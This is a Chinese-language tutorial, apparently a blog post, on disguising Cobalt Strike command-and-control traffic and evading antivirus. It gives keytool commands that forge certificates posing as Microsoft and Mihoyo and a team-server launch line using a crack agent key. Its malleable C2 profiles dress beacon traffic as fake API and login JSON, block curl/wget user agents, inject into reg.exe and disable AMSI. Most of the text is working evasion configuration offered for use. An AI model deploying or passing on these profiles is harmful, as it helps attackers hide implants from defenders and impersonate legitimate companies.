Cobalt Strike 流量伪装与免杀小技巧

keytool -keystore ./cobaltstrike.store     -storepass password     -keypass password     -genkey     -keyalg RSA     -alias cobaltstrike     -dname "CN=*.microsoft.com, OU=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=WA, C=US"ANDjava -XX:ParallelGCThreads=4      -Dcobaltstrike.server_port=50050      -Dcobaltstrike.server_bindto=0.0.0.0      -Djavax.net.ssl.keyStore=./cobaltstrike.store      -Djavax.net.ssl.keyStorePassword=password      -server      -XX:+AggressiveHeap      -XX:+UseParallelGC      -classpath ./cobaltstrike.jar      -javaagent:CSAgent.jar=f38eb3d1a335b252b58bc2acde81b542      -Duser.language=en      server.TeamServer "$@"

keytool -keystore ./cobaltstrike.store     -storepass Yu@N4hEnQ!d0nG!     -keypass Yu@N4hEnQ!d0nG!     -genkey     -keyalg RSA     -alias cobaltstrike     -dname "CN=*.mihoyo.com, OU=Mihoyo Corporation, O=Mihoyo Corporation, L=Shanghai, S=Shanghai, C=CN"

❯ keytool -list -v -keystore cobaltstrike.store输入密钥库口令:  密钥库类型: PKCS12密钥库提供方: SUN您的密钥库包含 1 个条目别名: cobaltstrike创建日期: 2024年9月25日条目类型: PrivateKeyEntry证书链长度: 1证书[1]:所有者: CN=*.mihoyo.com, OU=Mihoyo Corporation, O=Mihoyo Corporation, L=Shanghai, ST=Shanghai, C=CN发布者: CN=*.mihoyo.com, OU=Mihoyo Corporation, O=Mihoyo Corporation, L=Shanghai, ST=Shanghai, C=CN序列号: 1d29dc625556b541生效时间: Wed Sep 25 15:33:00 CST 2024, 失效时间: Tue Dec 24 15:33:00 CST 2024证书指纹:         SHA1: EA:03:E8:64:1C:9F:4C:55:E3:E0:E6:99:E6:C3:CA:B8:28:6F:ED:05         SHA256: 6A:98:8B:D5:6C:FF:1D:A0:A0:B0:F2:28:F9:81:ED:1F:F0:6C:52:8E:47:5D:1D:B2:D4:87:34:71:11:B7:4A:F7签名算法名称: SHA256withRSA主体公共密钥算法: 2048 位 RSA 密钥版本: 3

# Start the team serverjava -XX:ParallelGCThreads=4      -Dcobaltstrike.server_port=50050      -Dcobaltstrike.server_bindto=0.0.0.0      -Djavax.net.ssl.keyStore=./cobaltstrike.store      -Djavax.net.ssl.keyStorePassword=Yu@N4hEnQ!d0nG!       -server      -XX:+AggressiveHeap      -XX:+UseParallelGC      -classpath ./cobaltstrike.jar      -javaagent:CSAgent.jar=f38eb3d1a335b252b58bc2acde81b542      -Duser.language=en      server.TeamServer "$@"

-Dcobaltstrike.server_port=65522 

bash c2lint FILEorbash TeamServerImage c2lint FILE

name{    内容    name{        内容    }}

## 全局模块## 没有大括号包裹，直接位于文件最底层，作为文件的最基础配置，存放有useragent，smb管道，ssh管道等等配置set sample_name "pursue.profile";set useragent "Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0)Gecko/20100101 Firefox/42.0";## SSL密钥https-certificate {    set keystore "FILE.store";    set password "PASSWORD";}## code sign cert.code-signer {    set keystore "FILE.jks";    set password "PASSWORD";    set alias "name";}## http响应包http-config{    header "server" "apache";# 头文件    set trust_x_forwarded_for "false"; # 重定向开关    set block_useragents "curl*,lynx*,wget*"; # 黑名单ua头}## http get请求的配置http-get{    set url "/get /phpinfo"; # 请求内容    # 客户端配置    client{        # 请求头修改        header "Host" "114514.com";        # 源数据，加密配置        metadata{            #base64; # 常规base64编码            base64url; # 安全的base64编码            #mask; # 随机异或            prepend "1919810"; # 开头附加字符串            #append “.php” #结尾追加后缀            parameter "__sltion"; # 存放在 url 参数中            #header "Cookie"; # 存放在 http 请求头中            #uri-append; # 附加在 url 后面，不能使用base64            #print; # 存放在 http body 中        }    parameter "id" "0"; # 额外参数}## 服务端server{    # 输出响应    output{        # 编码        #netbios;         netbiosu;         #base64;         #base64url;         #mask;         prepend "Do you like what you see"; # 修改响应数据，需要注意的是响应数据是颠倒的，后续会演示         append "<script type="text/javascript">n";         print;    }}## http-post 请求配置，与get基本无异，区别在client的编写http-post{    client{        output{            base64url;            parameter "__tecion"; # 设置 url 参数        }        id{            base64url;            parameter "id"; # 位于url参数            #header "Cookie"; # 位于请求头        }    }}## 不同架构的请求链接http-stager{     set url_x86 "/114514";     set url_x64 "/1919810";}

https-certificate {    set  keystore "./cobaltstrike.store";    set  password "Yu@N4hEnQ!d0nG!"; ## 不做全新创建，调用默认证书}set sleeptime "5000"; # 睡眠时间set jitter "30"; #睡眠抖动set pipename "interprocess_##";set useragent "Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0)Gecko/20100101 Firefox/42.0";http-get {    set uri "/v2/api/heartbeat /v2/api/userinfo"; #伪装成一个api请求    client {        metadata {            base64url;            parameter "code"; ## 在使用url参数时，最好使用base64url，base64的选项会导致错误        }        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";        header "Accept-Language" "en-US,en;q=0.5";        header "Accept-Encoding" "gzip, deflate";    }    server {        header "Server" "nginx";        output{            base64url;            prepend ""password": "";            prepend ""status": "active",";            prepend ""roles": ["user", "admin"],";            prepend ""last_login": "2024-09-26T08:22:45Z",";            prepend ""created_at": "2023-01-01T12:34:56Z",";            prepend "},";            prepend ""country": "USA"";            prepend ""zip_code": "90210",";            prepend ""state": "CA",";            prepend ""city": "Somewhere",";            prepend ""street": "123 Main St",";            prepend ""address": {";            prepend ""phone": "+1-555-555-5555",";            prepend ""profile_picture": "https://baidu.com/image.jpg",";            prepend ""last_name": "Doe",";            prepend ""first_name": "John",";            prepend ""email": "[email protected]",";            prepend ""username": "john_doe",";            prepend "{"id": 12345,";            append ""}";            print;        }    }}http-post {    set uri "/api/login"; # login伪装    client {        parameter "pass" "d3244c4707";        parameter "login" "1";        parameter "start" "0";        header "Content-Type" "application/x-www-form-urlencoded;charset=utf-8";        id {            base64;            prepend "MTE0NTE0MTkxOTgxMA";            header "Cookie";        }        output{            base64;            prepend "{"token": "";            append ""}";            print;        }    }    server {        header "Server" "nginx";        output {            prepend "{"status": "200", "data": ";            append "}";            print;        }    }}## 后渗透post-ex{    #自定义注入的进程    set spawnto_x86 "%windir%\syswow64\reg.exe";    set spawnto_x64 "%windir%\sysnative\reg.exe";    #是否混淆    set obfuscate "true";    # 绕过AMSI(什么是amsi https://learn.microsoft.com/zh-cn/defender-endpoint/amsi-on-mdav)     set amsi_disable "true";    # 允许多线程    set thread_hint "ntdll.dll!RtlUserThreadStart";}## 签名证书 需要手动生成code-signer { set keystore "./keystore.jks"; set password "123456"; set alias "google";}# keytool -genkey -alias google -keyalg RSA -validity 36500 -keystore# keystore.store# keytool -importkeystore -srckeystore keystore.store -destkeystore# keystore.store -deststoretype pkcs12# keytool -v -importkeystore -srckeystore keystore.store -srcstoretype# PKCS12 -destkeystore keystore.jks -deststoretype JKS